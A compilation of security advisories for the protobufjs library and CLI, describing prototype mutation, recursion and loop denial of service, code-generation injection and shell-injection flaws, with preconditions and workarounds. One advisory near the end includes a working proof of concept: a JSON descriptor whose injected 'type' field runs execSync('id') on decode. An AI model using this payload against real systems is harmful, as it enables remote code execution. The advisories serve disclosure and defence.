Summary

The protobuf.js text format extension parsed string-keyed map entries using ordinary property assignment. A text-format map entry with key proto could therefore change the prototype of the returned map object instead of creating an own map entry.

This affected the optional Text Format extension. Other protobufjs input paths, including binary decode, fromObject, and ProtoJSON conversion, are not affected.

Impact

An attacker who can provide protobuf text-format input parsed by an application using protobufjs/ext/textformat may be able to create message objects whose string-keyed map fields have attacker-controlled prototypes.

This is per-object prototype mutation, not global Object.prototype pollution. Impact depends on downstream application logic treating inherited properties as meaningful, for example by using in, truthiness checks, or direct property access on parsed map objects instead of own-property checks.

Applications that do not parse untrusted Text Format input, or that do not use inherited properties from parsed map objects in security-relevant logic, are not directly affected.

Preconditions

The application must parse attacker-controlled protobuf Text Format input with protobufjs/ext/textformat. The target schema must contain a string-keyed map field. The crafted input must provide a map entry with key proto. Downstream application logic must treat inherited properties on the returned map object as meaningful for impact beyond malformed output.

Workarounds

Upgrade to protobufjs 8.6.5 or newer.

If immediate upgrade is not possible, do not parse untrusted protobuf Text Format input with affected versions. Applications can also reject string map keys named proto before or during Text Format parsing, and should use own-property checks such as Object.hasOwnProperty.call(map, key) when consuming parsed map objects.

Summary

protobufjs parsed option names by advancing through schema tokens until it reached an = token, without checking for end of input. A crafted .proto schema that opens an option declaration but ends prematurely could cause the option parser to loop without ever terminating.

This affects the reflection parsing path (parse, Root.load, Root.loadSync).

Impact

An attacker who can provide or influence .proto schema text parsed by an application may be able to cause the parsing call to never return. Because Node.js is single-threaded, the blocked event loop prevents all other work in the process, resulting in a denial of service that persists until the process is externally terminated.

Applications that only encode or decode protobuf binary data with trusted schemas are not directly affected.

Preconditions

- The application must parse .proto schema text influenced by an attacker. - The schema must be parsed through APIs such as parse, Root.load, or Root.loadSync. - The crafted input must begin an option declaration that ends before its = assignment.

Workarounds

Do not parse .proto schemas from untrusted sources with affected versions. If untrusted schema text must be accepted, isolate parsing in a process or worker that can be safely terminated and bound it with a timeout, so a non-returning parse call cannot deny service to the rest of the application.

Summary

A previous fix for unsafe name handling in pbjs static / static-module code generation was incomplete. Affected versions of protobufjs-cli could still emit unsafe JavaScript references when generating static output from crafted JSON descriptor input. The common case of parsing schemas from .proto files is not affected.

This is a bypass of GHSA-6r35-46g8-jcw9 / CVE-2026-44295.

Impact

An attacker who can provide or influence pre-parsed JSON descriptors passed to pbjs static code generation may be able to cause generated JavaScript output to contain attacker-controlled code.

The injected code may execute if the generated file is later executed or imported and an affected generated API path is invoked.

Preconditions

The application or build process must run pbjs static code generation on a pre-parsed JSON descriptor influenced by an attacker. The generated JavaScript file must subsequently be executed or imported. An affected generated API path must be invoked.

Workarounds

Do not run affected versions of pbjs static or static-module generation on untrusted JSON descriptors. If untrusted JSON descriptors must be accepted, validate descriptor-derived names before code generation and reject names that could not have been produced by parsing a valid .proto file. Running code generation in an isolated environment can reduce impact.

Summary

protobufjs 8.2.0 added support for preserving unknown fields encountered during binary decode. Affected versions preserved unknown wire elements in message.$unknowns and did not provide a decode-time option to discard unknown fields before retaining them.

A crafted protobuf payload containing many unknown fields could therefore cause a decoded message to retain substantially more memory than the input size would suggest, even when unknown-field round-tripping is not needed. protobufjs 8.5.0 added the relevant decode-time options, allowing applications that decode untrusted protobuf data to disable unknown-field retention during decode. protobufjs 8.6.2 flips the default so unknown fields are discarded unless explicitly opted into.

Impact

An attacker who can provide protobuf binary data decoded by an application using affected protobufjs versions may be able to increase memory pressure by sending messages with many unknown fields. This can degrade availability or contribute to process termination in services that decode and retain attacker-controlled messages.

This issue affects applications that decode untrusted protobuf binary input and do not need unknown-field round-tripping. Applications that only decode trusted protobuf data, already enforce input-size/concurrency limits, or do not retain decoded messages beyond immediate processing are less directly affected.

Preconditions

The application must decode protobuf binary data influenced by an attacker. The decoded schema must not define the attacker-selected field numbers, causing those fields to be treated as unknown. The application must use a protobufjs version that preserves unknown fields but does not provide a decode-time discard option. The decoded message, or enough decoded messages concurrently, must remain live long enough for retained unknown-field data to affect memory usage.

Workarounds

Upgrade to protobufjs 8.5.0 or newer and disable unknown-field preservation if not needed: Create a Reader, set reader.discardUnknown = true, and decode from that reader, or make this the default for subsequently created readers by setting Reader.discardUnknown = true. When upgrading to protobufjs 8.6.2 or newer, unknown fields are discarded by default unless opted into by setting discardUnknown = false.

Applications should also continue to enforce input-size, request concurrency, and request timeout limits at their transport or application boundary.

Summary

protobufjs could recurse without a depth limit while converting decoded messages to plain objects or JSON. This affected generated toObject() conversion and the custom google.protobuf.Any JSON conversion path.

A crafted protobuf binary payload containing deeply nested Any values could cause the JavaScript call stack to be exhausted during conversion to JSON.

Impact

An attacker who can provide protobuf binary data decoded by an application may be able to crash the process or otherwise cause message conversion to fail with a stack overflow.

This affects applications that decode untrusted protobuf input containing google.protobuf.Any values and then convert decoded messages to JSON or plain objects with JSON conversion enabled, for example through JSON.stringify(message), Message#toJSON(), or Type.toObject(message, { json: true }).

Applications that only decode and re-encode protobuf binary data without converting decoded messages to JSON are not directly affected by this issue.

Preconditions

The application must decode protobuf binary data influenced by an attacker. The application schema must include google.protobuf.Any, and the referenced typeurl must resolve to a message type in the loaded protobuf root. The application must convert the decoded message to JSON or a plain object through an affected conversion path. The crafted input must contain deeply nested Any values that are expanded during conversion.

Workarounds

Avoid converting untrusted protobuf messages containing google.protobuf.Any values to JSON with affected versions. If immediate upgrade is not possible, reject or limit messages with deeply nested Any payloads at an outer protocol boundary where feasible, avoid JSON conversion of untrusted Any values, or isolate message conversion in a process that can be safely restarted.

Summary

protobufjs accepted certain schema-derived names that could collide with properties used by protobufjs runtime helpers. The known affected names are fields named hasOwnProperty, field or oneof names such as $type when loaded through protobufjs JSON/reflection descriptors, and service methods whose generated helper name is rpcCall.

When affected message or service types were used, protobufjs could read schema-controlled data where it expected an own-property helper, reflected type metadata, or the base RPC helper. This could cause deterministic exceptions or recursive calls in affected decode post-checks, verification, object conversion, reflected JSON serialization, or protobufjs RPC helper invocation.

Impact

An attacker who can provide or influence protobuf schemas or protobufjs JSON descriptors may be able to make affected message or service types unusable, resulting in denial of service for the affected processing path.

Applications using only trusted schemas are affected only if those schemas contain one of the problematic names and the application reaches the affected API path.

The issue is not known to allow code execution by itself.

Preconditions

The application must use an affected protobufjs version. The application must load or use a schema or protobufjs JSON descriptor containing one of the problematic names: a field named hasOwnProperty, a field or oneof named $type through protobufjs JSON/reflection descriptor input, or a service method whose generated helper name is rpcCall. The application must reach the affected API path for that name: required-field decode post-checks, verify, or toObject for hasOwnProperty; reflected message JSON serialization for $type; or protobufjs RPC service invocation for rpcCall.

Workarounds

Do not load protobuf schemas or protobufjs JSON descriptors from untrusted sources with affected versions. If untrusted schemas or descriptors must be accepted, validate schema-derived field, oneof, and service method names before loading and reject the problematic names described above.

Applications using trusted schemas can avoid the issue by renaming affected fields or service methods, or by avoiding the affected API path.

Summary

protobufjs could recurse without a depth limit while expanding nested JSON descriptors through Root.fromJSON() and Namespace.addJSON().

A crafted JSON descriptor with deeply nested namespace definitions could cause the JavaScript call stack to be exhausted during descriptor loading.

Impact

An attacker who can provide JSON descriptors loaded by an application may be able to crash the process or otherwise cause schema loading to fail with a stack overflow.

This affects applications that load JSON descriptors from untrusted sources with affected versions.

Preconditions

- The application must load JSON descriptor data influenced by an attacker. - The crafted descriptor must contain deeply nested nested namespace objects. - The affected Root.fromJSON() / Namespace.addJSON() descriptor expansion path must process the crafted input.

Workarounds

Avoid loading untrusted protobuf JSON descriptors with affected versions. If immediate upgrade is not possible, reject excessively nested descriptor structures at an outer validation boundary where feasible, or isolate descriptor loading in a process that can be safely restarted.

Summary

pbjs static code generation could emit unsafe JavaScript identifiers derived from schema-controlled names. When generating static JavaScript from a crafted schema or JSON descriptor, certain namespace, enum, service, or derived full names could be written into the generated output without sufficient sanitization.

Impact

An attacker who can provide or influence schemas passed to pbjs may be able to cause generated JavaScript output to contain attacker-controlled code. The injected code would run if the generated file is later executed or imported by the application or build process.

This affects the protobufjs CLI static code generation path. Applications that only use trusted schemas, or that do not execute generated output from untrusted schemas, are not directly affected.

Preconditions

- The application or build process must run pbjs static code generation on a schema or JSON descriptor influenced by an attacker. - The attacker-controlled input must contain crafted schema names that reach generated JavaScript output. - The generated JavaScript file must subsequently be executed, imported, or otherwise evaluated.

Workarounds

Do not run affected versions of pbjs static code generation on untrusted schemas or descriptors. If untrusted schemas must be accepted, validate schema names before code generation and run generation in an isolated environment.

Summary

protobufjs generated JavaScript property accessors from schema-controlled field and oneof names. Certain control characters in field names were not escaped before being embedded into generated function bodies. A crafted schema or JSON descriptor could therefore cause generated encode, decode, verify, or conversion functions to fail during compilation.

Impact

An attacker who can provide or influence a protobuf schema or JSON descriptor may be able to make affected message types unusable by causing protobufjs runtime code generation to throw a syntax error.

This is a denial of service issue for applications that load untrusted schemas or descriptors. Applications that only use trusted, application-defined schemas are not directly affected by this issue.

The issue is not known to allow code execution by itself.

Preconditions

- The application must allow an attacker to control or influence a protobuf schema or JSON descriptor. - The crafted input must define a field name containing control characters that reach generated JavaScript property access. - The application must perform an operation that triggers protobufjs code generation for the affected type, such as encode, decode, verify, fromObject, or toObject.

Workarounds

Do not load protobuf schemas or JSON descriptors from untrusted sources with affected versions. If untrusted schemas must be accepted, validate field names before loading them and reject names containing control characters.

Summary

protobufjs generated JavaScript for toObject conversion could include an unsafe expression derived from a schema-controlled bytes field default value. A crafted descriptor with a non-string default value for a bytes field could cause attacker-controlled code to be emitted into the generated conversion function.

Impact

An attacker who can provide or influence a protobuf descriptor may be able to execute arbitrary JavaScript in the context of the process using protobufjs.

This requires the application to load an attacker-controlled schema or descriptor and then convert a message of the affected type with defaults enabled. Applications that only use trusted, application-defined schemas are not directly affected by this issue.

Preconditions

- The application must allow an attacker to control or influence a protobuf JSON descriptor or equivalent reflected schema. - The descriptor must define a bytes field with an attacker-controlled default value. - The application must call toObject with defaults enabled for the affected type.

Workarounds

Do not load protobuf schemas or JSON descriptors from untrusted sources with affected versions. If untrusted schemas must be accepted, validate or restrict field options before loading them and run schema processing in an isolated environment.

Summary

protobufjs generated message constructors copied enumerable properties from a provided properties object without filtering the proto key. If an application constructed a message from an attacker-controlled plain object, an own enumerable proto property could alter the prototype of that individual message instance.

Impact

An attacker who can control the properties object passed to a generated protobufjs message constructor or creation helper may be able to modify the prototype chain of the resulting message instance.

This is a per-instance prototype injection issue. It does not pollute Object.prototype or other global prototypes. The impact depends on downstream application behavior, such as relying on inherited properties, prototype methods, or instanceof checks for message objects.

Applications that only decode binary protobuf data, or that construct messages from trusted application-defined objects, are not directly affected by this issue.

Preconditions

- The application must allow an attacker to control or influence a plain object used to construct a protobufjs message. - The object must contain an own enumerable proto property, for example from parsed JSON input. - The application must pass that object to a generated message constructor or creation helper that copies arbitrary enumerable properties.

Workarounds

Do not pass attacker-controlled plain objects directly to generated message constructors with affected versions. If untrusted JSON input must be accepted, validate or sanitize object keys before constructing messages, and reject proto properties.

Summary

protobufjs used plain objects with inherited prototypes for internal type lookup tables used by generated encode and decode functions. If Object.prototype had already been polluted, those lookup tables could resolve attacker-controlled inherited properties as valid protobuf type information.

This could cause attacker-controlled strings to be emitted into generated JavaScript code.

Impact

An attacker who can first trigger a prototype pollution vulnerability may be able to influence generated protobufjs encode or decode functions in a way that can lead to arbitrary JavaScript execution.

This issue requires a separate prototype pollution primitive before protobufjs is invoked.

Applications without a reachable prototype pollution primitive are not directly exploitable through this issue alone.

Preconditions

- The application or one of its dependencies must allow an attacker to pollute Object.prototype. - The polluted property must affect protobufjs internal type lookup behavior. - The application must use protobufjs functionality that generates encode or decode code for affected types. - The generated code path must be reached after the prototype pollution has occurred.

Workarounds

Avoid running affected versions in applications where attacker-controlled input can pollute Object.prototype. If immediate upgrade is not possible, remove or mitigate reachable prototype pollution primitives and isolate schema/message processing from untrusted application state.

Summary

protobufjs allowed certain schema option paths to traverse through inherited object properties while applying options. A crafted protobuf schema or JSON descriptor could cause option handling to write to properties on global JavaScript constructors, corrupting process-wide built-in functionality.

Impact

An attacker who can provide or influence protobuf schemas or JSON descriptors may be able to corrupt built-in process state in a way that causes subsequent application code or protobufjs code to fail. This can result in a persistent denial of service for the lifetime of the affected process.

This issue affects applications that parse or load protobuf schemas or descriptors from untrusted sources. Applications that use bundled, generated, or otherwise trusted schemas to decode untrusted protobuf message payloads are not directly affected.

The issue is not known to allow code execution by itself.

Preconditions

- The application must allow an attacker to control or influence a protobuf schema or JSON descriptor. - The application must parse or load that schema through protobufjs reflection APIs such as parse, Root.load, Root.loadSync, or Root.fromJSON. - The crafted input must contain option paths that reach unsafe inherited properties during option processing.

Workarounds

Do not parse or load protobuf schemas or JSON descriptors from untrusted sources with affected versions. If untrusted schemas must be accepted, validate or reject option names containing unsafe property path components before loading them, and run schema processing in an isolated process.

Summary

protobufjs could recurse without a depth limit while decoding nested protobuf data. This affected both skipping unknown group fields and generated decoding of nested message fields.

A crafted protobuf binary payload could cause the JavaScript call stack to be exhausted during decoding.

Impact

An attacker who can provide protobuf binary data decoded by an application may be able to crash the process or otherwise cause decoding to fail with a stack overflow.

This affects applications that decode untrusted protobuf binary input with affected versions.

Preconditions

- The application must decode protobuf binary data influenced by an attacker. - The crafted input must contain deeply nested protobuf structures, such as nested group tags or nested message fields. - The affected decoder path must process the crafted input.

Workarounds

Avoid decoding untrusted protobuf binary data with affected versions. If immediate upgrade is not possible, reject excessively nested messages at an outer protocol boundary where feasible, or isolate protobuf decoding in a process that can be safely restarted.

Summary

protobufjs includes a minimal UTF-8 decoder used in non-Node and fallback decoding paths. The affected decoder accepted overlong UTF-8 byte sequences and decoded them to their canonical characters instead of replacing them.

The issue concerns overlong encodings and code points outside the Unicode range. protobufjs may still accept some non-strict UTF-8 input for compatibility, so applications should not rely on protobufjs as a general-purpose strict UTF-8 validator.

Impact

An attacker who can provide protobuf binary data decoded through the affected UTF-8 path may be able to bypass application-level checks that inspect raw bytes before protobuf string decoding. For example, bytes that do not contain certain ASCII characters could decode to strings containing those characters.

The practical impact depends on downstream application validation and how decoded strings are used. Node.js Buffer-backed decoding paths are not directly affected when they use Node's native UTF-8 decoding.

Preconditions

- The application must decode protobuf binary data influenced by an attacker. - The affected protobuf string field must be decoded through protobufjs's minimal UTF-8 decoder rather than a native UTF-8 decoder. - The application must rely on byte-level filtering or validation before protobuf string decoding. - The decoded string must then be used in a security-sensitive context.

Workarounds

Avoid relying only on byte-level filtering before protobuf string decoding with affected versions. Validate decoded strings at the point where they are used, and prefer runtime paths that use native UTF-8 decoding where necessary.

Summary

pbts invoked JSDoc by building a shell command string from input file paths and executing it through childprocess.exec. File paths containing shell metacharacters could therefore be interpreted by the shell instead of being passed to JSDoc as plain arguments.

Impact

An attacker who can control file names or paths passed to pbts may be able to execute arbitrary shell commands with the privileges of the process running pbts.

This affects the protobufjs CLI tooling path. The protobufjs runtime APIs for encoding, decoding, parsing, and loading protobuf messages are not directly affected by this issue.

Preconditions

- The application or user must invoke pbts on file paths influenced by an attacker. - The attacker must be able to supply or create a path containing shell-significant characters. - The vulnerable pbts version must execute the generated JSDoc command through a shell.

Workarounds

Do not run affected versions of pbts on attacker-controlled file names or paths. If this cannot be avoided, sanitize or rename input files before invoking pbts, or run the CLI in an isolated environment with minimal privileges.

Summary protobufjs compiles protobuf definitions into JS functions. Attackers can manipulate these definitions to execute arbitrary JS code.

Details Attackers can inject arbitrary code in the "type" fields of protobuf definitions, which will then execute during object decoding using that definition.

PoC js const protobuf = require('protobufjs'); maliciousDescriptor = JSON.parse({"nested":{"User":{"fields":{"id":{"type":"int32","id":1},"data":{"type":"Data(){console.log(process.mainModule.require('childprocess').execSync('id').toString())};\\nfunction X","id":2}}},"Data(){console.log(process.mainModule.require('childprocess').execSync('id').toString())};\\nfunction X":{"fields":{"content":{"type":"string","id":1}}}}}) const root = protobuf.Root.fromJSON(maliciousDescriptor); const UserType = root.lookupType("User"); const userBytes = Buffer.from([0x08, 0x01, 0x12, 0x07, 0x0a, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f]); try { const user = UserType.decode(userBytes); } catch (e) {}

Impact Remote code execution when attackers can control the protobuf definition files.

"protobuf.js (aka protobufjs) 6.10.0 through 7.x before 7.2.5 allows Prototype Pollution, a different vulnerability than CVE-2022-25878. A user-controlled protobuf message can be used by an attacker to pollute the prototype of Object.prototype by adding and overwriting its data and functions. Exploitation can involve: (1) using the function parse to parse protobuf messages on the fly, (2) loading .proto files by using load/loadSync functions, or (3) providing untrusted input to the functions ReflectionObject.setParsedOption and util.setProperty.

The package protobufjs before 6.11.3 are vulnerable to Prototype Pollution which can allow an attacker to add/modify properties of the Object.prototype. This vulnerability can occur in multiple ways: 1. by providing untrusted user input to util.setProperty or to ReflectionObject.setParsedOption functions 2. by parsing/loading .proto files

protobufjs is vulnerable to ReDoS when parsing crafted invalid .proto files.